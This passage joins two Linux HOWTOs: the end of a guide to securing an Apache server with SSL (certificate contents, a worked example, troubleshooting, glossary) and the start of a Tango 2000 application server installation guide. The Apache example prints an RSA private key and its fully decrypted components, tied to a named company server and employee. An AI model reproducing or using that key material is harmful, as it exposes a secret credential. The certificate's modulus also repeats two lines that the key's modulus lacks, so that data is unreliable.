BglghkgBhvhCBAEGCCsGAQUFBwMIBgorBgEEAYI3CgMCMA0GCSqGSIb3DQEBBAUA
A4GBALIfbC0RQ9g4Zxf/Y8IA2jWm8Tt+jvFWPt5wT3n5k0orRAvbmTROVPHGSLw7
oMNeapH1eRG5yn+erwqYazcoFXJ6AsIC5WUjAnClsSrHBCAnEn6rDU080F38xIQ3
j1FBvwMOxAq/JR5eZZcBHlSpJad88Twfd7E+0fQcqgk+nnjH
-----END CERTIFICATE-----

Contents of the Certificate File

Certificate:
   Data:
     Version: 3 (0x2)
     Serial Number: 1516 (0x5ec)
     Signature Algorithm: md5WithRSAEncryption
     Issuer: C=US, O=Equifax Secure Inc, CN=Equifax Secure E-Business CA
     Validity
       Not Before: Jul 12 15:21:01 2000 GMT
       Not After : Jun  2 22:42:34 2001 GMT
     Subject: C=us, ST=ga, L=atlanta, O=Equifax, OU=Rick, CN=172.18.116.44/Email=richard.sigle@equifax.com
     Subject Public Key Info:
       Public Key Algorithm: rsaEncryption
       RSA Public Key: (1024 bit)
           Modulus (1024 bit):
             00:c8:eb:93:26:97:ca:00:ce:4c:e4:f3:fd:43:31:
             cd:53:ed:b4:8a:ad:93:84:dc:7a:48:39:b5:28:57:
             03:7f:a9:ac:3e:58:6a:7a:e3:52:3e:1e:52:58:a2:
             6f:23:ad:bb:84:d8:88:ed:6d:a5:da:08:6b:c8:6c:
             a5:4c:34:67:d8:46:1c:ca:20:50:b0:e8:54:7f:ca:
             5e:ef:09:ff:6e:8d:a6:2b:02:f5:54:0f:c2:d0:45:
             12:ad:66:e7:8b:dd:68:be:64:a4:9b:69:bd:a4:1a:
             5e:ef:09:ff:6e:8d:a6:2b:02:f5:54:0f:c2:d0:45:
             12:ad:66:e7:8b:dd:68:be:64:a4:9b:69:bd:a4:1a:
             5a:2f:3b:6e:73:84:d8:d6:17:bd:12:39:34:fa:3d:
             d8:a9:e8:59:3c:c2:61:c5:b3
           Exponent: 65537 (0x10001)
     X509v3 extensions:
       X509v3 Key Usage: critical
          Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment
       Netscape Cert Type:
          SSL Server
       X509v3 Authority Key Identifier:
          keyid:5B:E0:A8:75:1C:78:02:47:71:AB:CE:27:32:E7:24:88:42:28:48:56
   Signature Algorithm: md5WithRSAEncryption
     87:53:74:e9:e1:a6:10:56:8c:fa:63:0e:7b:72:ff:76:4b:79:
     0e:49:2a:58:ed:71:7a:bf:77:61:fa:e8:74:04:37:8c:d3:6a:
     9a:3d:80:76:7a:c3:64:30:e7:1b:40:25:4e:2a:81:8b:e5:ac:
     76:a4:38:67:cc:3f:93:43:e1:1d:c3:8d:ba:ed:cc:d7:aa:a4:
     ab:d3:84:77:7c:8f:26:f6:dd:ba:3b:6a:99:81:e1:9e:7e:0f:
     ca:a6:ff:c0:c3:59:6e:dc:a6:03:23:bf:8f:24:ff:15:ad:ac:
     0d:85:fc:38:bf:d1:24:2d:1a:d3:72:55:12:95:5f:65:f0:60:
     df:b1

Private Key File

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,124F61450D85A480

ELz64SV+tFSRybsHjY9NH7CP7yDHXP6xcd9FY6MVgQykTkq2h0n7j+tmpfUPbStT
6jCgm/dTYM9mpkQ3jYZBALiVD5JNJ9t1dWisxQXY/nsak8LSTN7LhUtZSfk5xSmV
Zsl4gwQS20UdBzFiJ+4qDajP/pzocSdSuQvxIHq7UzNwJsW8UYxR3I1qrDgyNXKS
db41BWH4QdNtE0p+pi9VndDzXktqZGHEvtrQTV+39DV/dwOdnGBpYBETljMO5X6t
D42xcVs0Doa1vZ6PiMCkwFNPXsPlKHZtHwEL4I3CQdiH4E0oYh3klBzlXBY4YldN
A+s4xU44FpXp5xwt9nnVPUKHPo+NpdaRK7dAcRNO3GN3+ek1ggzvEjjuWKes3RQh
PlHPuF7VWo4KeaTfTIwJWfGxz4nvwlVByPJ6Z73Mn0VcDXCkVm6+h3PLlYL0FMqM
baUyQPpw6bhfW71FO/IIQxz3R1EqkxW7OHv74uuYl8kjHXf3S6qRZEGUG/zOGLGr
mI5s2qnU69HlBObFkc6WQq0QxMq4PiUi7HhCLMkH8+wBsNNMnb75+7lQKkEhdOeE
iUMKe5kgQqfd9w8jsBH5nu+J/nCfvPdp0isQW+P3/Rrh6YMwdKnlVfNZWdGiTzpQ
ngThAGq5lit4uf4zdTIYYrs+T9I5ltjj0KgCUD4VL5/7OfnR3gcphpbHXQf0E2cz
Qwq7q7ppKwCf/x92pHi8oVevlV5Dx9NQbGhEOA5pooqD6S2xZBbPLzkUKWDEO2il
oBZ5L1jClR5jjdF2U61w7aRrL0t6luDU/aRv/fcoYes=
-----END RSA PRIVATE KEY-----

Contents of the Private Key

read RSA key
Enter PEM pass phrase:
Private-Key: (1024 bit)
modulus:
    00:c8:eb:93:26:97:ca:00:ce:4c:e4:f3:fd:43:31:
    cd:53:ed:b4:8a:ad:93:84:dc:7a:48:39:b5:28:57:
    03:7f:a9:ac:3e:58:6a:7a:e3:52:3e:1e:52:58:a2:
    6f:23:ad:bb:84:d8:88:ed:6d:a5:da:08:6b:c8:6c:
    a5:4c:34:67:d8:46:1c:ca:20:50:b0:e8:54:7f:ca:
    5e:ef:09:ff:6e:8d:a6:2b:02:f5:54:0f:c2:d0:45:
    12:ad:66:e7:8b:dd:68:be:64:a4:9b:69:bd:a4:1a:
    5a:2f:3b:6e:73:84:d8:d6:17:bd:12:39:34:fa:3d:
    d8:a9:e8:59:3c:c2:61:c5:b3
publicExponent: 65537 (0x10001)
privateExponent:
    00:b6:57:7d:3b:58:24:1e:a9:1b:85:e9:9c:9e:5f:
    d3:3d:69:0c:21:93:37:bf:2b:2c:da:e1:6c:74:48:
    cb:c7:0f:60:5f:50:74:8a:44:45:be:54:5c:5d:4e:
    45:58:f6:f1:a8:b5:af:46:f2:ec:c2:bc:43:bd:28:
    44:b7:ad:13:d3:ca:de:59:24:e8:fa:f8:e5:5f:45:
    38:2c:a0:a3:de:98:13:d8:80:38:e1:47:53:4c:ea:
    e4:66:c3:82:93:89:c3:90:83:44:e1:13:4f:74:76:
    e2:c0:89:97:77:5f:33:d8:7d:27:21:52:55:c2:d7:
    dc:01:f9:bc:21:8d:a3:f5:c1
prime1:
    00:e3:2d:6b:5e:05:6b:e1:46:e6:ab:ae:f3:8b:d0:
    5f:94:5c:6f:f5:47:46:1d:4e:66:d3:7e:98:18:e0:
    2c:0d:08:ca:b7:29:72:af:53:62:30:ec:be:26:1f:
    cc:5a:ed:65:62:65:70:1e:18:19:61:e3:77:00:a7:
    3a:9e:4e:12:93
prime2:
    00:e2:69:56:78:e8:39:ff:17:db:cc:39:d7:7f:70:
    41:dc:c5:59:43:16:c1:84:4c:ae:e7:5d:8a:c5:4b:
    da:88:8e:03:99:7c:88:f2:8a:13:31:57:44:e0:b5:
    c8:0a:60:b0:05:de:f6:9e:f2:00:ec:37:21:8d:3b:
    dc:8e:c9:d4:61
exponent1:
    1a:ad:6a:be:4f:c4:ab:5f:b8:16:d1:24:a8:76:7f:
    c2:dc:58:09:65:a5:46:2b:be:c7:77:46:45:25:8e:
    06:b9:d1:94:50:b9:b6:fd:03:ba:db:12:39:47:e2:
    a7:8a:d9:2d:04:dc:75:ac:3e:ce:cf:f7:59:8c:49:
    c5:ed:45:21
exponent2:
    2d:4e:fd:32:06:ef:0c:40:7f:08:d8:8e:6a:7f:51:
    7e:d7:b3:6c:3c:92:8f:62:35:22:31:d3:02:76:92:
    8d:ff:35:73:32:bb:c9:25:9e:7f:a2:42:33:61:cd:
    5d:5e:49:fb:72:ca:11:b6:c6:3e:7f:2d:e4:b0:95:
    0b:b2:12:21
coefficient:
    50:52:09:22:cb:fb:b2:b8:58:85:ab:1d:82:b9:6e:
    d0:f6:dc:e8:ce:a6:5d:a1:ff:c8:4d:3b:2b:1c:19:
    64:f0:c4:4a:bc:b2:1d:2b:2d:09:59:83:a3:9a:89:
    f8:db:2c:2c:8a:bd:fd:a3:16:51:76:aa:ce:ea:85:
    6b:1c:9f:f7

4.3 Restart the Web Server

The script to restart the webserver may be located in /usr/local/sbin, /usr/sbin, (where the script is called httpd) or /usr/local/apache/bin (where the script is called apachectl). If you are not running the server with SSL enabled, you will need to stop and start the server. You may also write your own customized scripts to start, restart, and stop your server. As long as it starts the SSL engine, you should be OK.

The commands are:

httpd stop
httpd startssl
httpd restart

or

apachectl stop
apachectl startssl
apachectl restart


Building a Secure RedHat Apache Server HOWTO: Troubleshooting

 Next Previous Contents

5. Troubleshooting

Here are some common problems that may arise.

5.1 Server Appears to start, but you cannot access the secure site

Check the error_log file. If you did not set your virtual host to write to an error log, you may want to reconsider. The example SSL virtual host writes to an error log file. Most likely you will have a few warnings and an error at the end of the log that basically say that the private key does not match the certificate.

Example:

[Tue Nov 21 09:09:02 2000] [notice] Apache/1.3.14 (Unix) mod_ssl/2.7.1
OpenSSL/0.9.6 configured -- resuming normal operations
[Tue Nov 21 09:09:16 2000] [notice] caught SIGTERM, shutting down
[Tue Nov 21 14:39:54 2000] [notice] Apache/1.3.14 (Unix) mod_ssl/2.7.1
OpenSSL/0.9.6 configured -- resuming normal operations
[Tue Nov 21 14:40:31 2000] [notice] caught SIGTERM, shutting down
[Tue Nov 21 14:43:53 2000] [error] mod_ssl: Init: (esi.fin.equifax.com:443)
Unable to configure RSA server private key (OpenSSL library error follows)
[Tue Nov 21 14:43:53 2000] [error] OpenSSL: error:0B080074:x509 certificate
routines:X509_check_private_key:key values mismatch

If you get the error messages above, chances are the key and certificate do not match. Make sure you aren't using the default server.key file. You should also check the httpd.conf file to make sure that the directives are pointing to the correct private key and certificate.

You can check to make sure that you your private key and certificate are in the correct format and match each other. To do this, give the commands below to decrypt the private key in one terminal window and decrypt the certificate in the other. What you will be comparing are the Modulus and the Exponent of each key. If the modulus and exponent from the key matches the set from the certificate, you have just confirmed that your certificate and key are correctly paired.

If all else fails, create a new private key, CSR or self-signed certificate. Before you do this, check your CA's re-issue policy. You may be charged for a re-issue.

To view the contents of the certificate:

openssl x509 -noout -text -in filename.crt

To view the contents of the private key:

openssl rsa -noout -text -in filename.key

5.2 Certificate Name Check Warning is issued by the client's browser

The most common cause for this is omitting the "www" at the beginning of the domain name when creating the CSR. The name defined by the "ServerName" directive for that virtual host must match the domain name presented by the certificate exactly or the browser will let the client know. The exception is a wild card certificate. A wild card certificate's domain name field would look like *.somedomain.com. This enables you to use one certificate for any number of sub-domains of somedomain.com (e.g. host1.somedomain.com and host2.somedomain.com).

5.3 Certificate was Signed by an Untrusted Certificate Authority Warning is issued by the client's browser

If you are using a self-signed certificate, you will get this warning. Your clients will be given the option to trust your certificate or not. If you have a CA signed certificate and are getting the untrusted warning, you probably need to install their intermediate (root) certificate.

5.4 SSLEngine on is an un-recognized command (when starting Apache)

This error message is issued if you do not have ModSSL compiled with Apache. Some SSL packages use a different directive to start SSL within a virtual host. If you are using a package that does use a different directive, you will also receive this error message.

5.5 You have forgotten your "PEM Passphrase" and you would like to know how to reset it

There is no way to reset this passphrase. The only solution is to remember the passphrase or create a new private key. You will then need to obtain a new certificate or create a new self-signed certificate.


Building a Secure RedHat Apache Server HOWTO: Glossary

 Next Previous Contents

6. Glossary

Authentication

The positive identification of a network entity such as a server, a client, or a user. In SSL context, authentication represents the server and client Certificate verification process.

Access Control

The restriction of access to network realms. In Apache context usually the restriction of access to certain URLs.

Algorithm

An unambiguous formula or set of rules for solving a problem in a finite number of steps. Algorithms for encryption are usually called Ciphers.

Certificate

A data record used for authenticating network entities such as a server or a client. A certificate contains X.509 information pieces about its owner (called the subject) and the signing Certificate Authority (called the issuer), plus the owner's public key and the signature made by the CA. Network entities verify these signatures using CA certificates.

Certificate Authority (CA)

A trusted third party whose purpose is to sign certificates for network entities that it has authenticated using secure means. Other network entities can check the signature to verify that a CA has authenticated the bearer of a certificate.

Certificate Signing Request (CSR)

An unsigned certificate for submission to a Certification Authority, which signs it with the Private Key of their CA Certificate. Once the CSR is signed, it becomes a real certificate. Cipher An algorithm or system for data encryption. Examples are DES, IDEA, RC4, etc.

Ciphertext

The result after a Plaintext passed a Cipher.

Configuration Directive

A configuration command that controls one or more aspects of a program's behavior. In Apache context these are all the command names in the first column of the configuration files.

Cryptography - Symmetric

The client and server use the same key to encrypt and to decrypt data.

Cryptography - Asymmetric

Consists of a key pair (public and private). PKI is Asymmetric Cryptography

Digital Signatures

A piece of data that is sent with an encrypted message that identifies the originator and verifies that it has not been altered.

HTTPS

The HyperText Transport Protocol (Secure), the standard encrypted communication mechanism on the World Wide Web. This is actually just HTTP over SSL.

Message Digest

A hash of a message, which can be used to verify that the contents of the message have not been altered in transit.

Non-repudiation

A service that provides proof of the integrity and origin of data, both in an non-forgeable relationship, which can be verified by any third party at any time, or, an authentication that with high assurance can be asserted to be genuine.

A property achieved through cryptographic methods which prevents an individual or entity from denying having performed a particular action related to data (such as mechanisms for non-rejection or authority (origin); for proof of obligation, intent, or commitment, or for proof of ownership).

OpenSSL

The Open Source toolkit for SSL/TLS; see http://www.openssl.org/

Pass Phrase

The word or phrase that protects private key files. It prevents unauthorized users from encrypting them. Usually it's just the secret encryption/decryption key used for Ciphers.

Plaintext

The unencrypted text.

Private Key

The secret key in a Public Key Cryptography system, used to decrypt incoming messages and sign outgoing ones.

Public Key

The publicly available key in a Public Key Cryptography system, used to encrypt messages bound for its owner and to decrypt signatures made by its owner.

Public Key Cryptography

The study and application of asymmetric encryption systems, which use one key for encryption and another for decryption. A corresponding pair of such keys constitutes a key pair. Also called Asymmetric Cryptography.

Secure Sockets Layer (SSL)

A protocol created by Netscape Communications Corporation for general communication authentication and encryption over TCP/IP networks. The most popular usage is HTTPS, i.e. the HyperText Transfer Protocol (HTTP) over SSL.

Session

The context information of an SSL communication.

SSLeay

The original SSL/TLS implementation library developed by Eric A. Young <eay@aus.rsa.com>; see http://www.ssleay.org/

Symmetric Cryptography

The study and application of Ciphers that use a single secret key for both encryption and decryption operations.

Transport Layer Security (TLS)

The successor protocol to SSL, created by the Internet Engineering Task Force (IETF) for general communication authentication and encryption over TCP/IP networks. TLS version 1 and is nearly identical with SSL version 3.

Uniform Resource Locator (URL)

The formal identifier to locate various resources on the World Wide Web. The most popular URL scheme is http. SSL uses the scheme https

X.509

An authentication certificate scheme recommended by the International Telecommunication Union (ITU-T) and used for SSL/TLS authentication.

ITU-T

Recommendation X.509 [CCI88c] specifies the authentication service for X.500 directories, as well as the X.509 certificate syntax. Directory authentication in X.509 can be carried out using either secret-key techniques or public-key techniques; the latter is based on public-key certificates. The standard does not specify a particular cryptographic algorithm, although an informative annex of the standard describes the RSA algorithm.


Tango 2000 HOWTO

Shayne Lebrun

July 2000

This document describes the installation, configuration, and basic troubleshooting of Pervasive Software's Tango Application Server on Sun Solaris and various flavours of Linux.

1. Introduction

  • 1.1 Contributors and Contacts
  • 1.2 Acknowledgements
  • 1.3 Revision History
  • 1.4 New Versions
  • 1.5 Copyrights and Trademarks
  • 1.6 Feedback

2. The Basics

  • 2.1 Tango Application Sever
  • 2.2 TAS, Web Server and Web Client
  • 2.3 TAS Life Cycle

3. System Configuration / Requirements

  • 3.1 Solaris
  • 3.2 Linux

4. Tango Installation and Configuration

  • 4.1 Installation - Tango 3.x
  • 4.2 Tango 2000
  • 4.3 Tango 2000 Service Pack 1
  • 4.4 tXserver.ini - TAS Settings

5. TAS and Web Servers

  • 5.1 Netscape Server Configuration
  • 5.2 Apache Server Configuration
  • 5.3 tXclient.ini - CGI/Plugin configuration
  • 5.4 Load Splitting/Load Balancing

6. TAS and Oracle

  • 6.1 Oracle Support

7. TAS and ODBC

  • 7.1 Solaris
  • 7.2 Linux
  • 7.3 The odbc.ini Configuration File
  • 7.4 Solaris, ODBC and Oracle

8. Handy TAF Files

  • 8.1 CGI_OR_PLUGIN.taf


Tango 2000 HOWTO: Introduction

 Next Previous Contents

1. Introduction

This is the Tango for Linux and Solaris HOWTO, designed to be a quick reference to the installation and configuration of various versions of Tango on supported UNIX and UNIX-like platforms. This guide is valid for Solaris 2.6 and 7 on the SPARC architecture, and for Red Hat 5.2 and 6, S.U.S.E 6.2+ and Caldera OpenLinux 2.2+, all running on Intel.

1.1 Contributors and Contacts

This HOWTO was created by Shayne Lebrun and is currently maintained by the same. Pervasive Software technical support can be reached at 1-800-287-4383 or techsupport@pervasive.com

1.2 Acknowledgements

Many thanks to the fine HOWTO HOWTO by Mark F. Komarinski. You should be able to find it at the LDP homepage at http://www.linuxdoc.org

The Tango Documentation Team makes a damn fine set of manuals; don't let your MTCV book out of sight!

1.3 Revision History

This is the first attempt at laying this all down.

1.4 New Versions

The latest version is always available at http://www.members.home.net/slebrun/howto/TangoHOWTO.html

1.5 Copyrights and Trademarks

(c) 2000 Shayne Lebrun

This manual may be reproduced in whole or in part, without fee, subject to the following restrictions:

  • The copyright notice above and this permission notice, and the trademark notice below, must be preserved complete on all complete or partial copies
  • Any translation or derived work must be approved by the author in writing before distribution
  • If you distribute this work in part, instructions for obtaining the complete version of this manual must be included, and a means for obtaining a complete version provided
  • Small portions may be reproduced as illustrations for reviews or quotes in other works without this permission notice if proper citation is given

Exceptions to these rules may be granted for academic purposes: Write to the author and ask. These restrictions are here to protect us as authors, not to restrict you as learners and educators.

1.6 Feedback

Suggestions, flames, corrections, requests for a dinner date, etc etc, should be sent to slebrun@home.com with a subject of 'HOWTO' and they'll be looked at. Remember, it's you who knows what needs to be in that document that currently isn't. And it won't get there if you don't tell me about it.


Tango 2000 HOWTO: The Basics

 Next Previous Contents

2. The Basics

2.1 Tango Application Sever

Tango Application Server, aka TAS, runs as a daemon process. Tango 3.x is 'tangod' and Tango 2000 is 'tango4d'. Tango 2000 also runs a seperate Server Watcher process. Tango is a 'green threaded' application; it spawns a series of threads, but manages the threads itself. This means that a single TAS will not take advantage of multiple processors. However, Tango 3.6 and Tango 2000 include load splitting capabilities which allow you to run multiple TAS daemons on one box.

2.2 TAS, Web Server and Web Client

The Tango Application Server is never contacted directly by the web browser; nor does it ever send information directly to the web browser. The browser only ever makes requests of the web server, which then forwards the request to the TAS through either a CGI or a web-server specific plugin. There are several advantages to this scheme. First, nothing on the browser side needs to be updated; no plugins, Active-X objects, client side Java, or anything are required. Second, the CGI/Plugin allows the Tango Server to be on a machine other than the web server, or indeed on several machines other than the webserver.

2.3 TAS Life Cycle

Born

Tango Server is instanced, and loads it's configuration files and what not. No user requests are accepted.

Startup

Tango Server first looks for a StartupURL. If one is specified, a request is generated. A successful return will allow Tango to move to the next stage. If the request cannot be sent, or if there is no URL specified, Tango Server moves on to the 'Running' stage.

StartupURL-Response

Tango Server stays in this stage until a response is received from the StartupURL, or until the request times out.

Running

This is the normal operating state for Tango Server; user requests are accepted, Tango Cron jobs are run, and so on.

Shutdown

When a shutdown request is received, or generated by Tango itself on a fatal exception, a ShutdownURL is looked for, and run if it exists. Otherwise, it moves on to the Waiting for Running Threads stage.

ShutdownURL-Response

Tango stays in this stage until either a response is received from the URL requested, or it times out.

Waiting

Tango Server waits for threads already running to finish, but no longer than the specified waiting period.

Dead

Tango Server kills all still running threads, cleans up, and exits.


Tango 2000 HOWTO: System Configuration / Requirements

 Next Previous Contents

3. System Configuration / Requirements

3.1 Solaris

System Requirements

Tango for Solaris requires Solaris 2.6 or Solaris 7, SPARC architecture, approximately 30 megabytes of disk space, and approximately 2 megabytes of memory per user, given what Pervasive considers to be 'average' memory use.

Tango 2000 requires Solaris system patches. 105591 for Solaris 2.6. 106300 and 106327 on Solaris 7. Note that 105591 revision 08 causes Tango to core dump, as does 106327 revision 07. Not all the crashes are Tango's fault. :-) Solaris patches are available at http://access1.sun.com

System Configuration

There are a series of changes which can be made to your /etc/system file to increase various resources. These changes will often increase Tango performance, as well as preventing resource related crashes. The changes will require a reboot. Be very careful when making such changes.

These are generic values which are nevertheless better than defaults.

*** New Settings
set shmsys:shminfo_shmmax=4294967295
set shmsys:shminfo_shmmin=1
set
 shmsys:shminfo_shmmni=100
set shmsys:shminfo_shmseg=10
set semsys:seminfo_semmni=100
set
 semsys:seminfo_semmsl=100
set semsys:seminfo_semmns=200
set semsys:seminfo_semopm=100
set
 semsys:seminfo_semvmx=32767
*** New Settings End

Take a look at your Solaris documentation, or http://docs.sun.com for further information.

Also, add the following line to the login script of the Tango user after installation:

ulimit -n 1024

3.2 Linux

Tango for Linux requires the appropriate flavour for the version you downloaded or purchased. Pervasive will NOT support running a version of Tango for Linux on a different Linux flavour; Tango for Red Hat Linux might not run on Caldera 2.2, let alone on Debian.

Tango for Linux currently only supports the x86 architecture.

If you're using Red Hat 5.2, you'll need to upgrade your kernel. The Tango for Linux documentation has the details.


Tango 2000 HOWTO: Tango Installation and Configuration

 Next Previous Contents

4. Tango Installation and Configuration

4.1 Installation - Tango 3.x

Solaris

Installing the Files

The current version of Tango 3.x for Solaris is Tango 3.62. There is not expected to be any further updates to the 3.x codebase. The installation path is designed for incremental upgrades, so is a bit tricky.

First, you'll need the Tango 3.6 version. This is a compressed tarball, and will untar itself into /var/opt/EDI/. You'll need to be superuser to install this.

$su -
Password: ********
# uncompress tango36sol.tar.Z
# tar -xvf tango36sol.tar

Next, you'll need to grab the Tango 3.62 patch file. This too is a compressed tarball. This one will uncompress to whatever directory it's in, so make a temp directory somewhere and use that.

$su -
Password: ********
# mkdir Tango362
# cp ./tangoSol362.tar.Z ./Tango362/
# cd Tango362
# uncompress tangoSol362.tar.Z
# tar -xvf tangoSol362.tar

What you'll wind up with are three binary files, a Readme.txt, and an 'odbc' directory. Move the TangoNS_ep3.so to /var/opt/EDI/lib and the t3.cgi and tangod files to /var/opt/EDI/bin. Finally, remove your /var/opt/EDI/odbc directory and replace it with this one.

# mv./TangoNS_ep3.so /var/opt/EDI/lib/TangoNS_ep3.so
#mv ./t3.cgi /var/opt/EDI/bin/t3.cgi
#mv ./tangod /var/opt/EDI/bin/tangod
# rm -rf /var/opt/EDI/odbc
#mv ./odbc /var/opt/EDI/

Setting up the Tango user account

Next, you'll need to use your favourite method to create a user account to run Tango. You can use the graphical 'admintool' program, or command line programs such as 'adduser' or 'useradd' depending on your installation.

Generally, you'll want to call the account 'tango' and also perhaps make a group called 'pvsw'. The user should be given ownership of everything in the /var/opt/EDI directory tree. If deploying in a production environment, especially on something outside of a firewall or the like, set the account to have no password, no login capabilities.

Linux

There is no version of Tango 3.x for Linux. Had you going, though.

4.2 Tango 2000

Solaris

Tango 2000 is shipped in the form of a Solaris Package Archive. You'll need to login as root, and using either the 'admintool' graphical utility, or run the pkgadd command. If you have a CD-ROM copy,mount the CD. The automounter will generally mount it in /cdrom. Copy the /cdrom/tango_as-2000/tango2000/T2000Install.tar file to a temporary directory. If you downloaded Tango 2000, it will be a compressed tar file, and you'll need to uncompress it first. If it's already uncompressed, skip the first step below.

# uncompress T2000Install.tar.Z
# tar -xvf T2000Install.tar
# cd T2000Install
# pkgadd -d. PVSWtango

and follow the prompts.

Warning: the shipping Tango 2000 installer sometimes rejects valid CD-keys as being invalid. If this occurs, leave the CD-Key blank, and manually add your key later (see section x.x).

Linux

Tango 2000 for Linux is distributed as an RPM. On a distribution CD, you'll find the file in the tango2000 directory. Copy the appropriate file to a temp directory; Tango2000-server-4-Linux_i386.rpm if you're using Red Hat 6, Caldera 2.2 or S.U.S.E 6.2 or later. Tango2000-server-4-RedHat52_i386.rpm if you're using Red Hat 5.2. Either way, you'll need to be root.

Note that to use Red Hat 5.2, you'll need to manually upgrade your kernel to version 2.2 or higher.
#rpm -Uvh Tango2000-server-4-Linux_i386.rpm

4.3 Tango 2000 Service Pack 1

Solaris

Tango 2000 SP1 for Solaris is a Solaris Package Archive, designed to replace/update the existing installation. It is, however, a full install, so if you don't have Tango installed already, you'll get a working install. Otherwise, the procedure to install is the same as Tango 2000, only the archive is T2000InstallSP1.tar.Z

You'll probably want to back up your t4client.ini and t4server.ini files, as well as your web server configuration files.

Linux

Tango 2000 SP1 for Linux is an RPM designed to replace/update the existing installation. It is, however, a full install, so if you don't have Tango installed already, you'll get a working install. Otherwise, the procedure to install is the same as Tango 2000, only the RPM is Tango2000-server-4.05.i386.rpm, or Tango2000-server-4.05.RedHat52.i386.rpm if you're using Red Hat 5.2.

4.4 tXserver.ini - TAS Settings

Tango uses a file called 't3server.ini' or 't4server.ini' to control many of it's behaviors and functions. For Tango 3.x, this file is /var/opt/EDI/t3server.ini and for Tango 2000, it's $TANGO_HOME/configuration/t4server.ini. You can find a complete description of all entries in your Metatags and Configuration Variables book, but the most important/commonly used ones are listed here.

Cache

Possible entries: TRUE, FALSE

This controls weather or not Tango caches TAF files. Caching will reduce disk access, speeding up TAF execution.

CacheIncludeFiles

Possible entries: TRUE, FALSE

This controls weather or not Tango caches included files. Caching will prevent repeated disk access, speeding up TAF execution.

CacheSize

Possible entries: Numeric, measured in bytes

This measures the size of the cache for TAFs and included files. If cache grows to near this size, older documents will be flushed.

ConfigPasswd

Possible entries: text

This is the password of the config.taf online configuration application.

DataSourceLife

Possible entries: numeric, measured in minutes.

This controls how long an unused datasource connection will live. A setting of 0 will cause a datasource connection to be closed as soon as it's query is finished.

DebugMode

Possible entries: ForceOn, ForceOff, appFileSetting

This controls how the TAS handles placing debug information on the bottom of each page created; always, never, or per file settings.

DSConfigFile

Possible entries: path to file

This points to the Data Source configuration file, which gives you some finer control over how Tango uses data sources. See the Data Sources section for more details.

ItemBufferSize

Possible entires: numeric, measured in bytes

This is the maximum size of any given field that can be returned in a database action. It's main function is to prevent Tango from becoming bogged down while downloading an unusually large piece of data from a database.

License

Possible entries: alphanumeric CD-Key

This is the Tango license. The CD-Key contains the licensing information which tells Tango how to configure itself in terms of licenses and behavior.

ListenerPort

Possible entries: TCP/IP Port number

This tells Tango what port to monitor for incoming connections from the Tango CGI or Plugins. Ports cannot be shared between server software, so multiple servers running on one machine will need their own ports.

LoggingLevel

Possible entries: NoLogging, LogLevel1, LogLevel2, LogLevel3, LogLevel4

This controls how much logging Tango does. The log, "Tango.log", is written to the location specified in the LOGDIR config variable. LogLevel 3 is the best to use if you're trying to debug a Tango problem, but will slow Tango down, and will eat disk space.

MaxActions

Possible entires: numeric, 0 for no limit

This controls how many actions Tango will allow in a TAF file. This guards against things like infinite loops and overly large programs; most often used in development environments.

MaxHeapSize

Possible entries: numeric, measured in bytes

This controls how much memory the Tango Daemon process will allow itself to consume. Memory is consumed by variables, datasource connections, and cache. If Tango exceeds this number, it will shut itself down with a 'process size exceeded' message and attempt to restart itself normally. This number should be changed to provide 20% more than what you record Tango as generally using during peak use.

QueryTimeOut

Possible entries: numeric, measured in seconds

This controls how long Tango will wait for a response from a database call before timing out. Note that not all databases and drivers support this functionality.

RequestQueueLimit

Possible entries: numeric

This controls how many requests from a CGI Tango will allow to 'queue'. A very busy site can sometimes have so many CGIs stacked, waiting for Tango to service them, that some will get lost and orphaned. This helps prevent that situation.

ThreadPoolSize

Possible entries: numeric

This controls how many simultaneous threads Tango will run with. On Solaris, it is generally better to have several Tango servers running a few threads apiece than to have one Tango server running the same number of threads.

ValidHosts

Possible entries: TCP/IP addresses, colon delimited.

This is a list of what IP addresses Tango will allow incoming requests from. On a machine where the web server and Tango server are both running, this should be set to 127.0.0.1, the localhost.


Tango 2000 HOWTO: TAS and Web Servers

 Next Previous Contents

5. TAS and Web Servers

The Tango Application Server runs as it's own process, where it services requests from a web server. This allows for some functionality such as load splitting and direction, as well as freedom of choice in web server and platform. The TAS need not be on the same machine as the web server, nor is it limited to being even on one machine.

The preferred way of having a web server talk to Tango is through a plugin. The plugin is written in the web server's API, or Application Programming Interface, to take advantage of specific features of that web server, as well as the advantage of having the code execute as part of the web server, instead of as a separate CGI process. On Solaris, Tango has a plugin for Netscape Server and for Apache in later versions of Tango 2000. Tango for Linux has a plugin for Apache.

5.1 Netscape Server Configuration

Tango 3.x

Locate your Netscape configuration files in /whatever/netscape/suitespot/https-MYSERVER/config generally. To the mime.types file, add this line:

type=magnus-internal/taf exts=taf

Add these two lines to the top of the obj.conf file (no line breaks; each line which starts with 'init' is a full line. Thus, there are two lines total)

Init fn=load-modules shlib=/var/opt/EDI/lib/TangoNS_ep3.so funcs="Tango_main,Tango_main_init"

Init fn=Tango_main_init stanza="TangoNS_ep3.so"

Add this line to the obj.conf file inside of the <Object name=default> area, with the other services.

Service fn="Tango_main" method="(GET|HEAD|POST)" type="magnus-internal/taf"

You'll then need to use your Netscape Administration Server to restart the server, telling it to load the configuration files when it informs you that they've been hand-edited. Then, try hitting a TAF file. If it works, great! If not, go through your configuration file again. Most of the time, a misconfiguration is the reason for it not working. One space or quotation mark out of place will destroy the entire setup.

Tango 2000

Locate your Netscape configuration files in /whatever/netscape/suitespot/https-MYSERVER/config, generally. To the mime.types file, add this line:

type=magnus-internal/taf exts=taf,tcf

Then, add these two lines to the beginning of the obj.conf file. Note that there are no line breaks in each line.

Init fn=load-modules shlib=/opt/PVSWtango/lib/libtango4ns.so funcs="Tango_main,Tango_main_init"

Init fn=Tango_main_init stanza="libtango4ap.so" tangoconfigpath=/opt/PVSWtango/configuration

Add this line to the obj.conf file inside of the <Object name=default> area, with the other services.

Service fn="Tango_main" method="(GET|HEAD|POST)" type="magnus-internal/taf"

You'll then need to use your Netscape Administration Server to restart the server, telling it to load the configuration files when it informs you that they've been hand-edited. Then, try hitting a TAF file. If it works, great! If not, go through your configuration file again. Most of the time, a misconfiguration is the reason for it not working. One space or quotation mark out of place will destroy the entire setup.

Tango 2000 Service Pack 1

Installation is the same as for Tango 2000, but with this extra line added to the services in the <Object name=default> area of the obj.conf file:

Service fn="Tango_main" method="(GET|HEAD|POST)" type="magnus-internal/tml"

